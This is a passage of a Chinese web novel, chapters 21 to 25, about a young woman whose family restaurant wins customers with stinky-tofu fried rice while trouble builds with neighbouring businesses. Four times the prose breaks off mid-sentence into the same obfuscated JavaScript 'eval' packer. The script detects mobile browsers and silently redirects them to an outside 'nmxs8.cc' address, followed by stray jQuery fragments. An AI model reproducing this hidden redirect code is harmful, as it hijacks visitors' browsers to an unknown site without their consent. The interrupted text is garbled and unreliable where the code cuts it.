“手艺怎么样，等吃过就知道。”张海荃给每个人倒上一碗，没多说什么，而是把话题转到酒上，“尝尝，这可是十年的黄酒，要不是这次子平过来，我可舍不得拿出来。” 罗子平是四人里最瘦弱，身着熨烫平整的西装也难掩憔悴与落寞，这也和他经历有关，虽然如今一切都过去了，但性子已经变得沉默，接过酒，他只是点头示意。 “咱们年岁相同，如今再聚看起来可不像同龄人。”要说经历，翁靖比罗子平更惨，他自己扫了几年牛棚，这举报人还是他妻子，可谓妻离子散，不过回来养了几年，如今不说风度翩翩，但也称得上书生气质，“你们两个坐一起倒是像胖瘦头陀。” 钱华嫌弃道：“你这张嘴在，被你老婆举报也活该。” “活该呗，反正我肯定没办法活得像阴沟里的老鼠。”翁靖指出钱华这些年避风头的方式。 张海荃见两人杠上，也没阻拦，而是笑着和罗子平碰杯。 21.第21章 上菜的时候，这两人之间言辞是越发犀利，常薇薇并不能理解他们这种朋友之间的交流方式，端着出锅的番茄鱼头豆腐汤，紧着皱眉，总担心他们要打起来。 她上完一道后还特意小声和常嘉欣吐槽，虽然常嘉欣说这是关系好的证明，但常薇薇并不能理解，不过等她一道道菜上，争执自然也就少了。 常嘉欣端着最后一道家烧杂鱼，她一眼注意到最边上的黑灰色酒坛，朴实无华，但酒坛香夺人：“叔，这酒香馥郁芬芳，看色泽却还清亮，花雕？有些陈了，十年？” “嘿嘿，好鼻子啊。”张海荃赞叹道，然后又疑惑，“你这对酒还有研究？” “那到没，但做菜少不了酒，黄酒是料酒的基地，当然了解。”常嘉欣学习酱料调味时，辨酒也是一门重要学问，这话题自然不怯懦。 她们越州这里黄酒最多，还有不同甜度的区别，平常她做菜以料酒为主，属于黄酒的一种，如果是去腥为主则用加饭酒或者花雕，这些酯香、醇香浓而不艳最能带走腥味物质。 “好好好，我这酒配得上你这手艺吧？”张海荃说这话可谓是眉飞色舞，四个人里嘴最挑的钱华没点出问题，至于嘴最硬的翁靖，都说了一句还行，他作为东道主，自然骄傲至极。 美食与一般的宝藏不同，分享越被认可越有成就。 “叔，下次夸奖的话要直白点，我可不会害羞。”常嘉欣含笑道，“你们慢慢吃慢慢聊，要吃炒饭和薇薇说下哈。” “好呢。”看常嘉欣回厨房，张海荃忍不住对着钱华挑眉，“尝尝鱼，看看比南江的香酥鲤鱼如何？” “就冲这香味，估计就不差。日子也是好起来了，想当年我们下馆子可都得自带饭菜才有得吃。”钱华也不客气，挑中了一条汪刺鱼放在罗子平碗中，“河鲜里我最爱的汪刺，你可不能错过。” 张海荃也不忌讳，从自己的勺舀上碗里的鱼汁盖在罗子平碗里的鱼：“这汁可不能漏。” 罗子平随意夹起一筷，汁水流淌过，嫩鱼肉与汁水在口中映衬，鲜而香：“很好吃。” 翁靖白眼：“倒是没被毒哑。” “你再不吃，我就不客气了。”香卤猪尾巴已经快见底，钱华已经瞄到只剩最后一段，不过他筷子扫向鱼煲里的小鲫鱼，刺虽多，但这鱼是真鲜活。 这话才让翁靖转移注意力，他眼疾手快，菜都很好吃，但猪尾巴是他最爱，哦不，第二吧，好酒是不能少的。 或许是佳肴美酒过于熨帖，又或者是这里有熟悉的朋友，罗子平安静了一晚上，终于开始说话：“我准备调到越州，以后常聚。” 罗子平在官场也算起起伏伏，如今世道稳定下来，他从首都秦州调度到他们这里，未必是坏事。 张海荃手一顿，和钱华对视一眼，随即说道：“那敢情好，那你想要住哪里了么？我这是南江，翁靖住北清，钱华在越市，不过越市和南江北清是铁三角，交通还算便利......” 四个人从天南地北再次重聚，好不容易相聚，其实话有不少，除了偶尔扎上几句，大多数时候还是老友再聚的熟稔。 酒足菜尽，每人都点上了一碗臭豆腐炒饭。 “名世从来因臭味，有别春花卉。这听它臭，闻也臭，吃上更臭，回味倒是香。”翁靖一脸满足，对于他来说，这臭豆腐已经念念不忘好多年了。 罗子平吃得最文静，但也跟着点头。 钱华吃得最快，已经都快见底：“这炒饭确实别具一格。” “看来还是老卫那小子会吃，这我中午就应该点上。”吃到这臭豆腐炒饭张海荃感觉这一天总算圆满。 他们的晚饭从5点多吃到7点，店里来来去去有几个人，但都没人点臭豆腐炒饭，此时店里也没了客人，张海荃不由安慰在窗口休息的常嘉欣：“这臭豆腐炒饭虽然好吃，不过要让人接受，估计要等一段时间了。” 南江和北清市别看只隔了一条清河江，但这饮食习惯还是有不少区别。 早些年或许他们南江还有喜欢臭豆腐，毕竟那时候现在北清一部分划区还在，但重新分割后，如今南江的百姓肯定不如隔壁北清那样爱“臭味”。 毕竟在那边臭豆腐之外，还有霉千张，霉豆腐，霉苋菜梗，霉冬瓜......那可都是他们的家常风味菜。 “是点的比较少，不过今天才刚上新。”常嘉欣点头，语气依旧自信蓬勃，“慢慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15369112|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，我这才刚重新开业呢，没准明天就客似云来了。” “心态可以啊，不过，你这做菜的天赋和手艺，算是少见，只是大伙看你小姑娘，容易轻视。”钱华也唠嗑上了，他对小姑娘对手艺还是很好奇的，不过刚刚张海荃暗示过，大概知道这不方便问，他只能建议道，“你要是想把店开大，只守在这厨房可不行，得把名气打出去，要不你找机会登报打打广告，现在饭馆开得越来越多，越来越重名头了，这就算没名头，也要有师承，都势利得很。” “那肯定，我们这样的庸人质疑但好歹进来，别人可不会给机会，就算有大牛臭豆腐的名堂都不行。“翁靖也参与评头论足，“这些菜品好吃是一回事，但说来还都是家常菜，这要是普通人进来，点个炒饭看到这价格，没准还以为黑店。” “说起来，老卫后面准备给大牛臭豆腐写篇报道，到时候肯定带一嘴这炒饭，老卫记得吧？也是咱们学校毕业的，之前在越州日报，现在退下来还是撰稿人。”张海荃想到白天卫镇国说过的话，“或许再过些日子，老卫估计也要给这写一篇，臭豆腐炒饭，这肯定算是我们越州未来的特色菜。” 罗子平也参与到这个话题：“可以参赛，今年年底商务部准备举办第二届全国烹饪大赛。” “这大赛我记得，三年前办的第一届，比赛都在首都秦州，不过，这比赛不是内部只邀请名厨么？”钱华问道。 “就是这邀请的问题，不服气的多，第二届想要规避一些问题，准备电视台上，从海选开始。”罗子平对商务部的一些消息还算清楚。 “那敢情好，咱们越州民间大厨不少，偏偏那届一个都没，可惜。” 常嘉欣倒是都不用参与话题，他们又自个聊了，不过等送他们走得时候，她当然这些话记了下来。 她原本还想着让臭豆腐炒饭出名帮孙勇找到亲人，没想到最终反而是她“蹭热度”。 话说回来，要将家常菜发扬光大，名气确实不能少，她的“名师”没有出处，参加比赛或许是一个不错的契机。 事实上，让家常菜小有名气的契机，并非她参赛之后，也不是等到越州日报对大牛臭豆腐的报道，而是来自一位铁娘子。 22.第22章 杨锣是南江这边少有的“踏二姐”，在这个基本是男人为主的人力三轮车时代，她的存在自然罕见，不过她为人爽朗利落，倒是和南江这一片“踏二哥”们都熟悉，也没有人因为她是女的而特意排外针对，反而更加照顾。 今天她工作得比较晚，从车站送人到新围小区这差不多快八点，夜幕降临下街边的灯稀稀落落，她原本准备在小区门口的早餐店买个馒头，发现已经关门了，倒是看见许久没开的家常菜馆灯还亮着，咕噜肚子也等不及，便决定在这吃一个炒饭。 常嘉欣对着门口吃饭，最先看到来人，杨锣穿着一身旧棉袄改的工装款，裤脚宽带但偏短，能看到一双军绿色的劳保鞋，腰上有一个军绿色的腰包，与鞋子呼应，是个穿搭时尚的骑车师傅，等她停好那辆盖着帆布补丁车棚的三轮车，这才看清正脸，是位女士。 虽说打烊了，可看她疲惫的样子，没等人进门，常嘉欣贴心问道：“你好，想吃点什么？炒饭还有，点菜有萝卜丝荷包蛋和家烧杂鱼。” 这最后一份猪尾巴和鸡杂已经在她们饭桌上了。 杨锣刚进门，只看见两个小姑娘正在吃饭，空气里弥漫的臭豆腐味道很浓郁。 有臭豆腐？这炒饭倒是和她心意。 至于点菜，她今天一个人，就算了。 “一份臭豆腐炒饭。”杨锣对这个小姑娘有印象，不过如今店里似乎不见原来的老板与老板娘，她颔首道，“生意很不错啊，忙到现在才吃饭。” “都是邻里朋友照顾。”常嘉欣笑着回应，按住常薇薇让她安心吃饭，起身准备走向厨房，“吃葱不？” “吃。” “稍等，很快就好。” 常薇薇努力将猪尾巴嚼碎，这才开口招呼道：“工作好晚啊，幸苦了。” “还行，养家糊口嘛。” 常薇薇一时之间倒是不知道说什么，转而认真吃饭。 倒是杨锣张罗完店里的新菜单有些好奇：“菜单大变样了啊，倒是都合适下酒菜。” 至于价格她到还没太介怀。 在她观念里，价格等同价值。 别看她干体力活，还真不算差钱，像她今天晚上这一趟，从车站拉过来，这一趟收费就8元，她可不觉得这趟要价高了。 “是的，要尝尝吗？”常薇薇指了指她面前，本意是邀请一起吃菜，常嘉欣准备的犒劳式晚餐总是很丰盛，她觉得两个人吃很浪费。 杨锣自然理解成点菜，她连连摆手，这没酒没朋友，吃下酒菜总不合适：“不用了，等下次叫朋友再来。” 常薇薇现在的交际模式还是初阶，她并不知道被拒绝后应该说点什么。 店里又是一阵沉默。 好在常嘉欣很快好做了炒饭与鱼丸汤：“久等，这汤是店里送的。” “谢谢谢谢，太客气了。”杨锣看到满满一碗汤，这至少有十多个鱼丸，“这也太多了？” “平日里在我们这点炒饭都送鱼丸的，刚好剩这些，就顺手都做了。”常嘉欣也坐了下来，继续她的美味晚餐。 杨锣再次道谢，开始专注吃晚饭。 一颗颗白圆的鱼丸在飘满葱圈的清汤中浮沉，汤面还飘着油花，看着就很不错。 已经饥肠辘辘，她还是选择先吃上一口鱼丸，咬开瞬间，舌头似被弹着，仿佛含了段活鱼，紧致弹滑之后，便是鲜，满口的鱼鲜。 只是这一口，杨锣就忍不住赞叹：“这鱼丸绝了。” “好吃吧，我这鱼丸汤不少客人想买都买不到。”常嘉欣接受夸奖，她还开始闲聊，“你是隔壁北清的么？倒是都没惊叹就点上店里今天刚上的臭豆腐炒饭。” “那不是，我丈夫才是，可他不爱吃臭豆腐，不过我公公好这口，我后面也就喜欢上了。” 说着，杨锣也吃上一口炒饭。 这一口下去，味蕾与心神被全部占领，本身她就饿，这吃起来，那叫一个狼吞虎咽。 不过刚刚鱼丸的鲜最终还是勾起她的馋虫，吃了大半碗后，她还是停下吃上个鱼丸，再喝上一口鱼汤，怎一个爽字！ “好吃，妹子，你这手艺比你爸还好，怪不得你爸能让你那么小年纪接手这店。” 常嘉欣没辩解，而是招揽道：“谢谢，好吃就好，以后常来。” “肯定，我明天就来！”杨锣都不带犹豫，很快意识到自己的工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379014|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作，补充道，“明天晚上！中午活多，合适啃个包子，明天晚上一定再来。” “行啊，明天等你。” 常嘉欣自然乐得多一个忠实食客。 - 又是天没亮起床，今天天气不是很好，伴着小雨，雾气蒙蒙的，常嘉欣还是要和薇薇姐一起要去趟市场，不然今天蛋炒饭要没了。 常薇薇去进鸡蛋，常嘉欣则开始在菜市场挑挑拣拣，天气不好，但菜市场热闹不减，新鲜的菜都因为沾上水滴显得更加鲜嫩。 除了店里需要的，她今天还看中一批翠绿的尖椒，决定晚上要是那些进的臭豆腐还卖不完，她就做个尖椒臭豆腐，这菜上辈子她曾在某饭店吃到过，味道极好。 不过这样的话，五花肉也要多买点。 “呀，今天猪尾巴有多啊。”挑好肉，常嘉欣就在肉摊老板这看到整整五条尾巴。 老板倒是对她有印象，他解释道：“每个月月底，大家喜欢买点肉犒劳自己，这咱们杀也猪就多一点，怎么样，都是今天新杀的，还全包么？” “包，怎么不包呢。”常嘉欣回忆起那入味Q弹的猪尾巴，她一个人都能炫上一条，完全不担心吃不完，而且今天她们还有新加入的伙伴，中午就可以先吃上一条，“我那么给力，哥要不送我点猪头肉？这叫有头有尾，正当时候啊。” 那香卤的汁水酱香稠厚且回味无穷，如果等猪头肉吸饱酱汁一定也很好吃。 “哎呦，行，就冲你叫我哥，我不送都不好意思。” 白得一份猪头肉，一到店里，她就直接卤上。 昨天她就失策了，要是卤猪尾巴早上就开始卤，那应该更香，反正卖不完还有她和薇薇姐。 常薇薇打扫好前面饭厅，拉开卷帘门，就看到有人站在门口。 “马叔你怎么不叫我们开门。”常薇薇一愣，随即想到11点还没到，估计对方也不好意思，“下次早到可以直接来我们后厨门口，那店里只要我们在就开着。” “刚好你来了，先处理一下鱼，我们马上就开业了。” “好，好的。” 马谦还有些拘束，等被安排好工作后，他才放松很多。 23.第23章 差不多到11点，第一批客人陆陆续续进门。 昨天臭豆腐炒饭问的居多，今天倒是点的多起来，连带着座位一直处于满员状态，想拼桌都要等一等。 常薇薇忙得那叫一个陀螺转，这可不是形容词，是写实记录。 店面本来就不算大，常薇薇从窗口到饭桌，在过道一直在来回转，点菜，上菜，收盘，收钱，可不就在这原地打转么，要不是有马叔在，她估计是来回跑。 “一碗臭豆腐炒饭。”在罗艳红来店里之前，店里的臭豆腐已经都能腌入味了，她看到常薇薇忙碌的模样，不由念上一句，“今天这臭豆腐炒饭卖得很好啊。” “是啊，你这要是再晚来一会，臭豆腐都要没了。”常薇薇张罗下店里，位置估摸着还要等十多分钟，“你这位置也要再等等，还是要打包回去吃？” 罗艳红倒是想，但是她家里就一个大铁盒，带走炒饭就没了鱼丸汤啊！ 至于会不会被人看见...... 算了，她已经放弃挣扎。 “我等等吧，这中午反正也没事。”罗艳红的午休时间到1点半，往常她吃完能回家里睡个午觉。 常薇薇指了指最边上的位置：“好呢，那你等一等。” 罗艳红等的时间长了，也就有功夫打量食客，倒是给她发现些新鲜事，这店面生的人多了些，她等这桌就有壮汉，这孔武有力的臂膀，小麦色的皮肤...... 不过她还是很克制，没上前招呼，就算坐人家旁边，她也没搭讪。 南方这边女生腼腆，男生也内敛居多，她可不能过于猛烈。 罗艳红反复给自己心理建设。 有了位置，上菜就快了。 “这盘卤味是送你的，谢谢你劝慰孙叔他们。”常薇薇把炒饭鱼丸汤以及一盘香卤放在她面前，“今天店里太忙了，小欣说等下次再请你吃杂鱼。” 罗艳红原本还特别不好意思，她其实也没劝慰什么，只是还没想好怎么处理，终究是被那香味掳去心神。 这卤味的香，是能突破臭豆腐的壁垒！ 杂鱼就算了，可这眼前油亮亮的猪尾巴，还有往鼻子里钻的香味，她实在不能拒绝，只能想着以后多光顾。 罗艳红就吃上一段，就决定这个月刚发的工资要不保了。 不然小皮鞋就先不买？人生在世，嘴巴也重要。 她觉得这香卤猪尾巴怎么说还要点上个两三次才不会遗憾。 不过，这份香卤其实最妙的地方不仅仅是味道。 没等吃上第二口，她还被人搭讪了！ “这个香卤......好吃吗？”旁边壮汉已经吃完碗中的炒饭，看到不远处无差别攻击的香卤，吞咽完口水，又自言自语道，“不对，怎么会不好吃，这闻着都香。” 罗艳红这才看清他正脸，是浓眉大眼的国字脸，好看！大气！ “很好吃，你要尝尝吗？别......别客气。” 虽然迟疑，但她还是把盘子推了一些过去。 “谢谢！”美食当前，罗大力实在很难拒绝。 吵吵闹闹的小饭馆，在他们四目相对的时候莫名安静了几分。 但也就几秒，两个人都开始专注在这盘香卤。 “谢.....谢谢。”罗大力也没客气，吃了快人家一半，才想起这不是他点的，“你等下要去哪？我送你，我的三轮车就在外面。” “不用，不用。”罗艳红听到这他工作，顺着聊了下去，“你是送客人过来，顺便来吃饭？” “那到没有，我是为了来吃饭，顺便带了个附近的单子。我叫罗大力，以后有需要可以找我，我一般停在车站附近......好吧，有单子的时候好像也难找到。”罗大力说着发现了问题，不好意思挠挠头，转而想到另一个办法，“你要是做三轮车可以试试报我名字，我们这一片关系都不错，能给你实诚价。” “行啊，谢谢，我叫罗艳红，五百年前还是本家啊。”罗艳红好奇道，“你怎么知道这里的？车站可离我们这不近啊。” 他们这一片是新开发区，车站在南江主城区，过来半小时那是打底。 “今早听杨姐说这儿的臭豆腐炒饭不吃后悔一辈子，这不就来了。现在是吃了，还是后悔一辈子，感觉以后要给这里的老板打工了。”罗大力属于一人吃饱全家不饿，这炒饭每天倒是吃得起，但是要是每天都点上一盘香卤，怕是真不用取老婆了，“杨姐算是我们这一行一姐，她说好吃肯定不会差，我还刚看到不少同行，估计再过些时候，我们南江市都能知道。” 甚至可能整个越州，一般有外地客人来他们南江，几乎都会问几嘴哪里好吃，他们走街串巷最是喜欢分享好吃好玩的，自然少不了一些推荐。 “这有手艺的就是厉害啊，昨天店里都没什么人点臭豆腐炒饭呢。”罗艳红感慨不已，“看来以后排队要越来越多了。” “那确实，全南江就没吃过比这好吃的炒饭，卤肉也是！” 关于杨锣在帮忙宣传店这件事，一中午几乎都在厨房忙活的常嘉欣自然不知道。 不过这并不影响她晚上把店开到快八点，只为等来杨锣。 常薇薇最先看到杨锣衣角斑驳的血迹，皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385236|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉道：“这是怎么了？你没事吧？” “没事，不是我的，路上遇到乡下被机子割伤来看病的，帮忙送趟医院，这不，就来晚了。”杨锣看到店还开着，嘴角就没掉下来过，“我本来还想着你们这会不会关门。” 常嘉欣看她除了疲惫确实没什么问题，不由放下心，她们刚刚还在担心是不是出事，现在倒是可以调侃：“这专门给你留一份臭豆腐，可不能浪费。” “怎么样，今天生意是不是很好？”杨锣没坐下，而是跟着常嘉欣走到厨房窗口，说是询问，眉眼间满是笃定。 常嘉欣喜笑颜开，虽说晚饭变化不大，但中午确实比之前多了不少点臭豆腐炒饭，看来与她有渊源：“这是来邀功啊，好说，晚上给你加盘小菜，猪头肉和猪尾巴的双拼卤味。” 任何时代都有自己的营销渠道，没想到家常菜运气那么好，碰到了杨姐这样行走的“营销号”。 “那我可不会客气。”杨锣也爽快，“本来我早上只是推荐推荐好吃，谁能想到他们那群小兔崽子，抓到机会就和我炫耀，说中午就吃到了，其中一个运气差说是中午臭豆腐都卖完了，害得我一下午都在惦记我晚上是不是没得吃了。” “中间确实是卖完了，后面又跑一趟买臭豆腐续上。”常嘉欣开火颠勺，动作利落极了。 没一会儿功夫，杨锣的晚餐就做好了。 “这卤得绝啊！我必须找时间带朋友来吃。”一个炒饭享受两个赠菜，关键这两个赠菜还都是人间美味，杨锣相当惬意，说完，想到一个注意，“你这晚饭就应该上点酒水，菜单这些菜和酒那都是绝配啊。” “我出酒，你这有故事吗？”常嘉欣调侃道。 杨锣哈哈大笑：“哎呦，你这小姑娘，还有这说法。” “那当然，这光看别人喝酒多没意思。不过我暂时也没有合适的酒水路子，有机会在看吧。”常嘉欣也不含糊，“下次想喝你可以自己自带，我这不拦着。” “行啊。” 送走杨锣，店自然可以关上铁门。 回去的路上，这城市的万家灯火自然是没了，月光比灯火更加明媚，即使只是月牙，常嘉欣想没准以后有机会还可以开个深夜食堂，听食客充满波澜的人生故事...... 到家已经9点多，不过睡前，常嘉欣突然反应过来，她现在都不需要用一辈子就能做好一个菜，那食客好像也不需要波澜，还是大家喜乐安康，岑静无妄比较好。 哎呦，今天的尖椒还没用呢。 明天应该可以进两三板臭豆腐。 常嘉欣胡思乱想间，又是一夜好梦。 24.第24章 毫不波澜的生活或许是日常，但偶尔的起伏还是会有。 臭豆腐炒饭推出第三天，开业前她们店里就迎来了特殊客人。 房东，是她们这一片商铺的房东，也姓房名东，听海月姐说之前是黑市二道贩子起家，颇有人脉。 他年约二十七，外貌还算清秀，一身时髦花衬衫与牛仔裤，手里夹着黑色皮包，中分头，头顶还别着□□镜，看起来属于引领时代潮流审美的大佬，虽然常嘉欣觉得过于花炮。 “这是真做大厨？”他就站在厨房后门口张望一二，倒也没准备进门的样子。 “大厨不敢当，炒个家常，东哥中午好啊。”常嘉欣有印象，这房东很会来事，明明相当有钱，但有时候还爱占便宜，不过为人不至于太刻薄，“要来我们店里吃个午饭么？尝尝我手艺？” “下次下次，有人想高价租店面你这还考虑么？” 常嘉欣记得张叔提过一嘴，严正以待：“就不考虑了，我想把店开下去。” “那行吧，要是后悔了可以来找我。”房东最终没多念叨，转而走向隔壁面馆店铺。 看对方走得爽快，倒是让常嘉欣有点摸不着头脑。 这今天的客流量比昨天还多，她手就没离开过锅铲，一直都沉浸在炒饭炒菜的工作中，这个小插曲很快就忘记了。 房东这话对她来说自然不算重要，但隔壁面馆却不一样。 近二周时间，家常菜从重新开业到蒸蒸日上，但隔壁面馆中午的翻台率却一降再降。 一方面确实是有家常菜的影响，另一方面还是因为赵跃进的手受伤，近期店里面盖浇头都是王金花做的，这味道自然就差。 所以送走房东，赵跃进和王金花两人就陷入了沉默。 “要不我们转租出去吧？你这手这个月都没办法用，以后也不知道影响怎么样，人家既然开高价，刚好可以拿这笔钱给儿子做生意。”王金花纠结半天，还是建议道。 谁能想到，之前两人还在考虑扩大店面的可能，如今却陷入困境。 赵跃进连连摇头：“不行，这店面位置好，现在转出去太亏了。” “那生意越来越差只会亏本。” 赵跃进嫌弃道：“还有脸说，你说说你，那么多年做得那么难吃！” 王金花撇嘴：“这还怪我，那么多年浇头都是你做的，我只做面啊！再说，要不是你嫉妒隔壁生意好起来，会不小心骨折？” “你你你！！” 王金花高声道：“你什么你！店还开不开！” “开。” 两夫妻吵架起头后，因为要开店停歇，但赵跃进心里这口气还是憋着，尤其看到隔壁客似云来的时候，那眼中的阴霾更深。 这些常嘉欣他们自然不知道。 今天中午店里比昨天还忙，他们三人直到1点半多才送走最后一个客人。 “臭豆腐只有一份了，刚好可以做尖椒臭豆腐。”常嘉欣决定午餐给大家加一个新菜。 将尖椒切丁，加入些许笋丁，同时碾碎臭豆腐，用五花肉煸炒后，将这些备菜一同翻炒，颠勺，常嘉欣现在做菜有几分自信，就算这是从没做过的小炒，做起来也不含糊。 马谦同常薇薇一起坐下来的时候，还是有些不习惯。 鱼头番茄豆腐汤，卤味拼盘，尖椒炒臭豆腐，还有韭菜春笋，又是三菜一汤的啊，他家里也就节假日会这样吃，何况这里每道菜的味道都非常非常好。 “这尖椒有点辣哦。”常嘉欣吃上一口，满足地不行，比前世吃过的网红店都好吃，“就是吧，想要把这道菜做出色香味俱全，感觉难度就有点大了。” 尖椒臭豆腐味道是不差，不过卖相真不太好，豆腐为了入味碾碎的形状也不讲究，颜色上，灰褐、灰绿还有翠绿尖椒的点缀...... “辣......好吃！”常薇薇只吃上一口就开始大快朵颐吃炒饭，但是又欲罢不能，忍不住继续吃上一口尖椒，“这辣得我好喜欢！” 马谦也尝上一口， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393902|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是很辣，辣但并不刺激，鲜与辣一结合，就很爽口，也上头。 至于外形，对于他来说，有的吃比好吃重要，好吃自然也比外在重要。 常嘉欣正准备再夹上一口时，突然听到了隔壁摔桌的声音。 “啊！” 与之而来就是一个女人的惊呼。 常嘉欣赶忙出去，一眼就看到隔壁面馆的赵跃进单手正举凳子，似乎准备朝向老板娘王金花甩去。 电光火石间，她立马跑上前抢过凳子，紧随其后的常薇薇配合默契，拉开王金花的身子。 马叔慢上一会，不过他还是夹住了赵跃进双臂，拉开了他与常嘉欣的距离。 见状，常薇薇这才舒一口气，她拉着王金花，能很清晰看到赵跃进见到常嘉欣后眼中的怒火狠戾，相当吓人。 “你个王八羔子，竟然敢打我？” 王金花眼泪糊满，常薇薇把她拉离距离就放手了，此时她趁机挥了一拳给赵跃进。 这拳看着就疼，这王金花的身板可不比赵跃进小，尤其是那两胳膊，又长年揉面的功力，抡起来相当有力，看赵跃进拧在一起的五官就知道多疼。 好家伙，这能动手就好，总比纯比舞强。 仿佛想起了某个表情包，常嘉欣内心戏丰富，也是这会才注意到赵跃进右手挂着布条，但并没有出手拦住王金花，而是用言语：“哎呀，别打了，别打了。” 这能混合双打肯定比单方面家暴强。 而且清官难断家务事，她和常薇薇尝尝能接收到这两人的白眼，可没帮忙断案的想法，为此还特意给常薇薇一个眼色，示意她过来。 “怎么打起来了，有什么话不能好好说？这是做什么？”齐大山听到动静也出来。 甚至还有一些路人都围了过来。 赵跃进神色在看到外人后再次涨红不少，如今围过来的人多了，也知道爱面子：“没事，放手。” 王金花似乎也意识到什么，没再说什么，径直自个回后厨。 25.第25章 大戏散去，各回各家。 好在天气热起来，他们三回饭桌的时候菜还算热。 常嘉欣特意先喝一口鱼汤，满足地点头头，没被隔壁的事影响美味的质量。 这鱼汤温度低可容易把腥味带出来，非常影响汤的味道。 “哎呦，还吃着呢。”齐大山过来就看到三人还在吃饭。 “齐叔要来吃点么？”常薇薇并没有停下筷子，但嘴里还是很有诚意的邀请，这进过一段时间相处，她对齐叔的客气已经转化为熟稔。 “不了不了，你们中午辛苦，我看饭馆生意啊越来越好，估计都累坏了。”齐大山吞咽着口水，狠心拒绝，他午饭吃了臭豆腐炒饭，满满一大碗，还有鱼丸汤，这才过一个小时，肚子自然是不饿的，就是馋虫仍旧不受控制。 “那就吃点小菜卤味，我这盘可不止猪尾巴，还有猪肉头，肥肠，今天我运气好，还在菜市场讨到了好些鸭头鸭脖呢，特意卤了一盘辣的。”常嘉欣笑着径直进厨房拿出碗筷，“是有什么事情么？我们可以边吃边说，这卤味最消磨时间。” “那，行吧。”不饿归不饿，这盛情难却啊。 齐大山坐了下来，自然看到其貌不扬的尖椒臭豆腐。 常嘉欣顺着他视线，介绍道：“正在尝试臭豆腐的新做法，尖椒臭豆腐，就是有点辣，你尝尝。” “那我试试。”齐大山终究还是没挡住内心的渴望。 鲜与辣瞬间在口中并存，但最终还是辣意占据唇齿，一股子火辣感直冲舌根，齐大山满是惊喜，这种臭豆腐的另一种风味，也好吃，像是喝上一口醇厚的白酒，火辣上头。 不行，再吃一口，这味道太上瘾了！ 事不过三，他忍痛不去看那碗臭豆腐。 谁能想前天臭豆腐炒饭刚上的时候，他可是义正严辞拒绝过的。 这一撇头，他看到了桌上其他菜，那没吃到过鱼头......算了，这是人家午饭，他就吃卤味吧。 心里又不由想着，要是他关店过来帮忙洗碗...... 齐大山思维发散还没结束，突然想起来他过来的重点：“这个房东过来找过你么？他今天来找我问我转店的事呢。” “有。不过我拒绝了。” “确实，你这生意那么好。我猜隔壁吵架就是和转店有关，你不知道前些天老赵手受伤了，面都是王婶做的，我去点了一次，那可真一言难尽。这味道不行，生意也就差了。”说着，齐大山夹上卤味盘力的猪头肉，也瞄中了那个鸭头，这他也没吃过。 毫不意外，有这卤汁在，猪头肉怎么也不会差。 而这个鸭头，他恨不得把鸭骨咬成渣渣！ 鸭皮已经软到他轻轻一碰就挂不住皮，等到咬开那天灵盖，里面那一口入味化开的“云絮”，脂膏感满满，辣意也开始上扬。 肉质口感最好的还是鸭舌上一节，油脂饱满但不腻味，口感第二的是在下颚两边，这个位置肉质若是肥美就是鸭养好的证明，它的肉质紧实但却很容易入味，沁着卤水，啃起来非常有味道。 齐大山咬进骨缝唆掉最后一口汁，用后牙细细研磨最后的鸭喙，看着那横七竖八的骨渣，意犹未尽。 不过，成年许久的齐大山还是很懂得节制，他忍痛放下了筷子，忍一忍，再忍一忍：“我还细问了下，说那也是开餐饮店的，叫小炒菜，主要卖炒饭炒面，还在隔壁区有店，人家就是打听到你爸妈出事，就想着过来接盘，应该是没想到你能撑起来，但房东说他们念头还没退，还是想在这附近开店。” “我想那小炒菜馆怕是还不知道你这手艺，不过不知道还好，要是知道了，就怕他们搞肮脏手段。听前阵子我一客人就说过，那区有家小饭馆，被流氓手段干扰到关店的，也不知道是不是和这家有关。” “这老赵夫妻虽然脾气都不咋地，但至少不会想歪心思搞这套，这他们要是真转出去，我就担心......” 说着说着，齐大山开始忧愁，常家姐妹都是羸弱姑娘，看眼前这来的帮工身体也不利落，袁姐年纪又大，这要是真遇到闹事的，可怎么办呢。 